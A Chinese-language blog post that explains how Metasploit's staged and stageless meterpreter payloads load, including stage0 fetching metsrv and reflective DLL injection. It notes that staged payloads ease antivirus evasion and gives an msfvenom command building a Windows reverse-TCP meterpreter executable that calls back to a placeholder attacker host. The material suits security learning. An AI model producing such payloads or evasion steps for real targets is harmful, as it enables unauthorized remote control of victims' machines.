0%

关于msf框架的那些事

 那天免杀完meterpreter的shellcode后就一直在玩msf框架, 这两天把msf在GitHub上的维基啃了一部分,没有中文是真的难受. 本来想找到把python写的poc改写成msf的module的方法的, 结果找了一圈发现虽然现在msf支持python写module, 但是文档还是很含糊, 找不到具体的步骤. 也许最方便的方法是学ruby然后用ruby重写吧.

meterpreter工作阶段

 读了这篇wiki后学到的. 概况的说,meterpreter有两种载入方式, 一种有阶段(Staged), 一种无阶段(Stageless). 有阶段方法的payload短小, 在后期运行时会请求攻击者机器上的剩余部分载入. 无阶段方法的payload比较长, 好处是打进去就不需要再向攻击者主机请求剩余部分. 下面先讲有阶段的工作流程

Staged

 staged方法又可以分为几个小阶段

stage0

 stage0是最开始的时候被载入内存的部分. 比如说你发现了一个栈溢出漏洞, 已经把shellcode打到对面的程序中了, 现在受害者的RIP寄存器指向的就是stage0的第一行代码. stage0会根据你之前在msf上的设置反弹攻击者主机的端口, 请求加载meterpreter的剩余组件, 也就是metsrv.

stage1

 现在metsrv已经从攻击者主机加载到了受害者主机内存, stage0会通过jmp指令跳到metsrv载入的地址, 把控制权移交给它. 之后, metsrv会通过反射dll注入来将自身装载到进程中而不出现在硬盘上. 一旦注入完成, 攻击者的msf就会收到一个可爱的meterpreter贝壳(shell), 之后metsrv就会继续请求没有传输的剩余组件和执行攻击者的命令.

小结

 通过staged模式载入payload可以缩减shellcode的长度, 让免杀变得容易. 就我上次的那种初级处理就足以绕过几乎大部分杀软. 但是相应的弊端就是需要受害者能稳定访问攻击者主机, 否则stage1出错就会错失shell. 同时会产生较大不寻常的网络流量, 可能被蓝队发现.

Stageless

 和stage模式最大的不同就是它运行时不需要攻击者上线, 提前打包好metsrv和所需的组件, 随着payload的载入一并执行. 生成的命令如下

1
msfvenom -p windows/meterpreter_reverse_tcp LHOST=YOUR_HOST LPORT=4444 EXTENSIONS=stdapi,priv -f exe -o stageless.exe

需要的组件可以在extensions中指定.
 Stageless就没什么可说的了, 它本身就是一个完整的meterpreter服务端, 可以独立的向攻击者反弹shell. 但是由于太大了(相对stage0)而不常用, 但是在复杂的内网环境中通过badusb等手段进攻内网主机时还是有用处的.